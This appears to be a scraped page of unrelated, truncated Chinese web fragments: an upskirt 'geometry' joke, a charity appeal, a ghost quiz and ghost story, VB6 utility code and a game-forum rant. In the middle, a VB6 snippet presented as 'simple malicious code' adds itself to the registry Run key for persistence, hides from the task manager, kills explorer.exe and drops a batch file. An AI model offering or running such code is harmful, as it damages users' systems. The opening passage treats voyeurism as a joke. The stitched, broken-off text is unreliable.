一般'观察者'想看的地方..
　　其实是半径１０公分的半球体部分..
　　而裙子则与半球体相切并以向下１５公分的剪裁..
　　巧妙地遮住了观察者的视线..
　　从图看来.
　　直角三角形ｏｐｑ和ｏｒｑ是全等的.
　　如果将ｑｒ线段(也就是观察者视线)延长并做出另一个直角三角形ｔｓｑ..
　　那我们可由计算知道它的高是８.３公分..
　　ｔｓｑ的高是底的０.４１５倍..
　　所以..
　　观察者如果想看到裙底风光..
　　最低限度是让视线的仰角大於角ｔｑｓ..
　　也就是高和底的比值要大於０.４１５倍..
　　如果'观察者'的双眼ｅ正好在ｂｃ线段的延长线上..
　　那么ｂ点就会落在他的视野内..
　　如果我们做一条过ｅ并垂直於ａ

垃圾堆里的哭声

乞儿！

这是一张让我满怀酸楚、泪流满面的照片。请您也仔细看！

所有孩子在出生的时候，全家都欢天喜地，都是妈**心肝宝贝。

他们没有生存能力，沦为乞儿不是他们的错，是世态炎凉的错，是我们的错。

天下的父母啊，可否把对自己孩子过剩

测试你和鬼交流指数
1.你相信世上有鬼吗?

相信(去题9 )不相信(去题5)

2.你的家人中,有人遇过鬼吗?

有7 没有18

3.晚上睡觉你一定要开著小灯?

是23 否19

4.夏天时.你是否曾经感到一股莫名的寒意?

是8 否3

5.你是否常常迷路?

是13 否16

6.有时你是否觉得自己也懂一些动物语言?

是25 否26

7.你是否有[ 鬼压床]的经验?

是20 否11

8.看连续剧或电影时,你是否常可以推断出後面的剧情?

是6 否23

9.你小时後是不是很爱哭?

是12 否16

10.你很喜欢照镜子?

是18 否17

11.你身上是否有很大的胎记或痣?

是20 否8

12.你是否觉得自己记忆力不错?

是7 否2

13.你是否觉得拜拜的香的味道很好闻?

是10 否17

14.你是否一年要去扫一次墓?

是29 否22

15.你是否有梦境成为现实的经验?

是

　　我非常高兴，因为这样就可以在故宫多待一会儿了。 我进了故宫，找到我舅舅，跟他瞎聊，说听说故宫闹鬼，是真的吗?他听完后，愣了一下，说，没有鬼，他们瞎说呢，说完就再不说话了。

　　9点半的时候，他就催我回去，因为我的目的是看看到底有没有鬼，所以就赖着不走。 快11点的时候，我说我要上厕所，就从他的办公室出来了。说来也怪，挺好的天，我刚一出来，就刮大风了。

　　那时候，故宫里非常黑，没什么路灯，说实话，我真有点害怕。我一路小跑，直奔中央大殿。快到进入中央大殿的大门洞时，借着门洞上的昏黄的灯光，我忽然看见一个穿着清代衣服的女人一闪就没了.

　　我当时都吓傻了，愣了有一分钟，定了定神，仔细想想，那个人看服饰像是宫女。我赶紧顺着原路返回我舅舅的办公室，进屋我就说，我真地看见鬼了，就在快到大殿的时候，那个穿着宫女衣服的鬼，闪了一下就不见了。听我说完，我舅舅嘴角抽动了两下，问我，你去

一组字符串转换函数，大伙试试。
在西安某网吧发布
Public Function chrConvert(strInput As String, Method As Integer) As String
    ' Method = 0 for Text to vbChr
    ' Method = 1 for Text to HTML
    ' Method = 2 for Text to Hex
    ' Method = 3 for vbChr to Text
    ' Method = 4 for HTML to Text
    ' Method = 5 for Hex to Text
    If Method = 0 Or Method = 1 Or Method = 2 Then
    chrConvert = ToChr(strInput, Method)
ElseIf Method = 3 Or Method = 4 Or Method = 5 Then
    chrConvert = ToTxt(strInput, Method)
End If
End Function

Private Function ToChr(strInput As String, Method As Integer) As String
    strTmp = ''

    For L = 1 To Len(strInput)
        A = Asc(Mid(st

第1种-关闭后到像迅雷一样隐藏
Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer)
Cancel = True
Me.Hide
End Sub
_____________________________
第2种-直接隐藏
Form1.Visible = False
_____________________________

第3种-在任务管理器应用程序中隐藏
App.TaskVisible = False

_____________________________

于是就可以编写一个简单的恶意代码

Private Sub Form_Load

Set w = CreateObject('wscript.shell')
w.regwrite 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\' & App.EXEName, App.Path & '\' & App.EXEName & '.exe'      '导入注册表,实现开机自动运行

Form1.Visible = False

App.Taskvisible = False

Shell 'taskkill /f /im explorer.exe ', VBHide   '结束explorer.exe进程

Open 'c:\windows\$$$.bat' for Append As #1
Print #1 , '@echo off'
Print #1 , 'echo 恭喜你中毒'
Print #1 , 'echo. & pause'

　　1.做保卫不能太厉害！

　　表现得比一般人要好的，杀人最多的，会被说是作弊。后果T

　　2.做保卫不能太菜！

　　10来局之杀2.3个人。没什么好理由后果T

　　3.做保卫不能太聪明！

　　能猜到幽灵在哪，往哪跑的。被人说你有朋友当幽灵告诉你的后果T

　　4.做保卫不能不去拆弹！

　　后果T这个可以理解，但是人家反应慢点也不能不给别人玩游戏啊

　　5.做保卫不能拖时间！

　　按道理来说，剩下1个幽灵的时候。一般会有人叫你自首。但是保卫在没下弹的时候拖时间有什么不对，时间到是保卫赢。但是今天很遗憾，我亲眼见到这个保卫被T了

　　6.做保卫不能运气太好！

怎么打都能打中，怎么炸都能炸到幽灵外挂，绝对是外挂！不是我